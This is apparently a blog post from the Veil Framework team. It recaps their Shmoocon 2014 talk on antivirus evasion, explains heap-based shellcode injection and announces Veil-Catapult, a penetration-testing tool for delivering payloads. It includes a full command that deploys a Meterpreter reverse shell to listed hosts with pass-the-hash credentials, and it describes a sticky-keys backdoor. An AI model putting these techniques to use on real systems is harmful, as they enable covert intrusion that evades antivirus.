Shmoocon Recap

This past Saturday the Veil team presented our talk “AV Evasion With the Veil Framework” at Shmoocon 2014. It was an awesome experience, and we greatly appreciate all the feedback and support we received. The slides from the talk have been posted on slideshare.  We also gave the same talk at ShmooconEpilogue, hosted by NOVAHackers, and our presentation was recorded.  To see the video, just click here.

With the release of Veil-Catapult and our move towards expanding the Veil framework beyond just Veil-Evasion, we wanted to brief everyone again on the new github project structure. The original tool formerly known just as “Veil” now resides at https://github.com/veil-framework/Veil-Evasion while Veil-Catapult resides in its own repo at https://github.com/Veil-Framework/Veil-Catapult. We will maintain a superproject at https://github.com/Veil-Framework/Veil that will always pull down and set up stable branches of each tool in the Veil-Framework. We recommend that most users clone the superproject and use its update script to take care of everything.

Based on feedback from Shmoo, we implemented the ability to auto-spawn a handler for session catching when using Veil-Evasion in Veil-Catapult. If you set SPAWN_CATAPULT_HANDLER=”true” in /etc/veil/settings.py and then utilize Veil-Evasion to generate a payload to deliver in Veil-Catapult, a window will open that automatically fills in the options for msfconsole. At this point, this is disabled by default.

We also wanted to go over a lesser known shellcode injection technique that we spoke about during our presentation, specifically how we are injecting into memory with via the processes’s heap.  We found that utilizing the processes’s heap for storing and then executing our shellcode was possible while researching methods to allocate memory and modify the permissions (read, write, execute) of the memory that has been allocated.  Although, after finally getting heap based injection working, we also found that it has been documented elsewhere.

Heap based injection is very similar to injecting into memory with VirtualAlloc.  First, we create a private heap object, via HeapCreate.  This allows the calling process to use the heap object.  Once the object has been created, we allocate a block of memory from the heap object to store our shellcode with HeapAlloc.  These two calls are the only difference between injecting into memory via the heap or utilizing a VirtualAlloc call.  Once the space has been allocated (as read/write/executable), we move our shellcode into memory with RtlMoveMemory, spawn a thread that executes the shellcode via CreateThread, and then we simply wait for our spawned thread (containing out Meterpreter session) to finish its execution, via WaitForSingleObject, before exiting the entire process.

If anyone has any additional feedback, questions, or ideas, please hit us up on freenode on the #veil channel, email us or reach out to any of us on twitter (info on our contact page), or submit issues on our github.  Thanks for all the support, and we hope to keep making something we love that also helps our community.

Veil-Catapult

Payload delivery for when Metasploit’s psexec and its stock .exe templates fail is a common problem for penetration testers.  A while back Attack Research released a great post entitled “psexec fail? upload and exec instead“, which detailed how to upload and execute specified payloads. The excellent tool SMBexec can accomplish the same goal, utilizing a patched version of samba to upload .exe’s and trigger them. These options are great, but we wanted to build something that utilized the Veil framework for payload generation and filled in a few of the gaps we felt were missing.

We’d like to announce the newest addition to the Veil-Framework, our payload delivery tool Veil-Catapult. Utilizing the Impacket library from Core Labs and the passing-the-hash toolkit, as well as the full functionality of Veil-Evasion, Veil-Catapult meets all of your AV-evading payload delivery needs:

catapult_main_menu

EXE delivery features seamless integration with Veil-Evasion. If you don’t want to specify a custom executable, you can drop right into the Veil-Evasion generation menu and build a payload on the fly. Since this directly invokes the existing payload codebase, you have access to all the latest methods and modules as they’re released. After you’ve specified your options and built an executable, you’re dropped right back into the Veil-Catapult menu for target information. Single IPs or target lists can be specified, a domain can optionally be specified, and credentials can use hashes as well as normal passwords:

catapult_exe_menu

Triggering utilizes the passing-the-hash toolkit, specifically pth-wmis and pth-winexe. pth-wmis doesn’t create a service, but pth-winexe will run as system, so which to choose is situation dependent. Payloads can also be uploaded and triggered on a victim, or hosted on a temporary Impacket SMB server on your attacker box and triggered with \\UNC paths. A nice side effect of UNC triggering is that some otherwise disk-detectable .exe’s will get right by a lot of antivirus : )

Note: python pyinstaller payloads can’t be hosted and MUST be uploaded in order to work properly.

catapult_host_execute

Standalone payloads offers some tried and true methods as well as a slightly new approach. Powershell can be invoked using the standard command line shellcode-injecting payload generated by Veil-Evasion, and the sticky keys sethc backdoor can be triggered as well, both with the same wmis or winexe options.

The Barebones python injector is a neat approach which we’ll be talking about in detail in an upcoming blog post. But feel free to check it out now : )

Cleanup functionality has also been incorporated. Whenever an exe is uploaded/host and then triggered on a host, cleanup instructions are written out to a resource file. Calling ./Veil-Catapult.py -r CLEANUP_FILE will first kill all associated processes on popped hosts, and then delete any uploaded binaries. The sethc backdoor also generates a cleanup script.

catapult_cleanup

And of course, we have command line flags for every option- try ./Veil-Catapult.py -h for all the details:

catapult_flags

The following example takes an IP list, a hashdump/pwdump formatted cred file with an admin hash, pth-wmis for triggering, uses the c/shellcode_inject/void payload and specific MSF parameters to generate an .exe with Veil-Evasion, hosts the executable and triggers it on your IP, and doesn’t confirm before launching:

./Veil-Catapult.py -tL ips.txt -cF d.txt –wmis -p c/shellcode_inject/void –msfpayload windows/meterpreter/reverse_tcp –msfoptions LHOST=172.16.199.236 LPORT=4444 –act hostexec –lip 172.16.199.236 -nc

  •  –tL : provides a list of IPs to target
  • -cF : provides a pwdump file that Veil-Catapult extracts the admin account out of
  • –wmis : specifies for pth-wmis to be used for triggering
  • –p … : specifies the Veil-Evasion payload to be used
  • –msfpayload : details the Metasploit shellcode to be used by the Veil-Evasion payload
  • –msfoptions : provides additional configuration details for the Metasploit payload
  • –act hostexec : instructs Veil-Catapult to host the payload and execute by \\UNC path
  • –lip : the local IP needed for UNC invocation
  • -nc : don’t confirm before firing off the attack

Veil-Catapult’s introduction marks our long-intended goal of expanding the Veil-Framework beyond just AV-evasion. We’ve moved our original Veil repository to https://github.com/Veil-Framework/Veil-Evasion/ and established a new repository for Veil-Catapult at https://github.com/Veil-Framework/Veil-Catapult/ . A superproject will be maintained at https://github.com/Veil-Framework/Veil/ that will pull in each tool in the Veil-Framework. We recommend that most users pull down the superproject to make sure everything works correctly together. If you choose to run the tools in different locations, be sure to edit /etc/veil/settings.py as appropriate if anything happens to malfunction.